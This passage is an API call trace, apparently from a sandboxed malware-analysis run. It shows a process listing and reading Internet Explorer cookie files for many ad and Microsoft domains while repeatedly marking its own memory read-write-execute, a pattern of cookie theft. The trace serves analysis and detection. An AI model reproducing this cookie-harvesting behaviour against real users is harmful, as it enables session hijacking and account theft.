(lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@microsoft[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@microsoft[1].txt")) returned 0x2020 [0163.368] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@microsoft[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@microsoft[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.368] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x241 [0163.368] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf7a2c, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf7a2c*, lpNumberOfBytesRead=0x1e7df6cc*=0x241, lpOverlapped=0x0) returned 1 [0163.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.376] CloseHandle (hObject=0xf4) returned 1 [0163.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.379] VirtualAlloc (lpAddress=0x1fcf8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcf8000 [0163.380] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18a97940, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bfb4420, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bfb4420, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@msn[2].txt", cAlternateFileName="AED77F~1.TXT")) returned 1 [0163.380] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@msn[2].txt")) returned 0x2020 [0163.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.385] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.385] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x337 [0163.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.387] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4008, nNumberOfBytesToRead=0x337, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4008*, lpNumberOfBytesRead=0x1e7df6cc*=0x337, lpOverlapped=0x0) returned 1 [0163.389] CloseHandle (hObject=0xf4) returned 1 [0163.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.391] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@openx[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0163.391] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@openx[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@openx[1].txt")) returned 0x2020 [0163.392] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@openx[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@openx[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.392] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x72 [0163.392] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e1ee8, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e1ee8*, lpNumberOfBytesRead=0x1e7df6cc*=0x72, lpOverlapped=0x0) returned 1 [0163.394] CloseHandle (hObject=0xf4) returned 1 [0163.394] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pixel.rubiconproject[1].txt", cAlternateFileName="AE4ADC~1.TXT")) returned 1 [0163.394] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@pixel.rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pixel.rubiconproject[1].txt")) returned 0x2020 [0163.394] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@pixel.rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pixel.rubiconproject[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.394] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x6f [0163.394] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4008, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4008*, lpNumberOfBytesRead=0x1e7df6cc*=0x6f, lpOverlapped=0x0) returned 1 [0163.396] CloseHandle (hObject=0xf4) returned 1 [0163.396] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pubmatic[2].txt", cAlternateFileName="AE20C2~1.TXT")) returned 1 [0163.396] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@pubmatic[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pubmatic[2].txt")) returned 0x2020 [0163.396] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@pubmatic[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pubmatic[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.396] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xbb [0163.396] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4168, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4168*, lpNumberOfBytesRead=0x1e7df6cc*=0xbb, lpOverlapped=0x0) returned 1 [0163.397] CloseHandle (hObject=0xf4) returned 1 [0163.398] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@rubiconproject[1].txt", cAlternateFileName="AE4537~1.TXT")) returned 1 [0163.398] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@rubiconproject[1].txt")) returned 0x2020 [0163.399] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@rubiconproject[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.399] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x12a [0163.399] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf454c, nNumberOfBytesToRead=0x12a, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf454c*, lpNumberOfBytesRead=0x1e7df6cc*=0x12a, lpOverlapped=0x0) returned 1 [0163.400] CloseHandle (hObject=0xf4) returned 1 [0163.400] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc28e100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc28e100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@scorecardresearch[2].txt", cAlternateFileName="AE0340~1.TXT")) returned 1 [0163.401] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@scorecardresearch[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@scorecardresearch[2].txt")) returned 0x2020 [0163.402] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@scorecardresearch[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@scorecardresearch[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.402] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xcc [0163.402] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4440, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4440*, lpNumberOfBytesRead=0x1e7df6cc*=0xcc, lpOverlapped=0x0) returned 1 [0163.403] CloseHandle (hObject=0xf4) returned 1 [0163.403] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1be42e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1be42e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@semasio[1].txt", cAlternateFileName="AEBD88~1.TXT")) returned 1 [0163.403] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@semasio[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@semasio[1].txt")) returned 0x2020 [0163.404] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@semasio[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@semasio[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.404] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x5a [0163.404] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcfa844, nNumberOfBytesToRead=0x5a, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcfa844*, lpNumberOfBytesRead=0x1e7df6cc*=0x5a, lpOverlapped=0x0) returned 1 [0163.406] CloseHandle (hObject=0xf4) returned 1 [0163.406] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@server.adformdsp[2].txt", cAlternateFileName="AEE7C0~1.TXT")) returned 1 [0163.406] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@server.adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@server.adformdsp[2].txt")) returned 0x2020 [0163.407] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@server.adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@server.adformdsp[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.407] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x6c [0163.407] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcfa880, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcfa880*, lpNumberOfBytesRead=0x1e7df6cc*=0x6c, lpOverlapped=0x0) returned 1 [0163.408] CloseHandle (hObject=0xf4) returned 1 [0163.408] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82de1280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82de1280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82de1280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving-sys[2].txt", cAlternateFileName="AEFEDF~1.TXT")) returned 1 [0163.409] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@serving-sys[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving-sys[2].txt")) returned 0x2020 [0163.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.415] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@serving-sys[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving-sys[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.415] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x1cc [0163.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.417] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcfa8d0, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcfa8d0*, lpNumberOfBytesRead=0x1e7df6cc*=0x1cc, lpOverlapped=0x0) returned 1 [0163.418] CloseHandle (hObject=0xf4) returned 1 [0163.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) 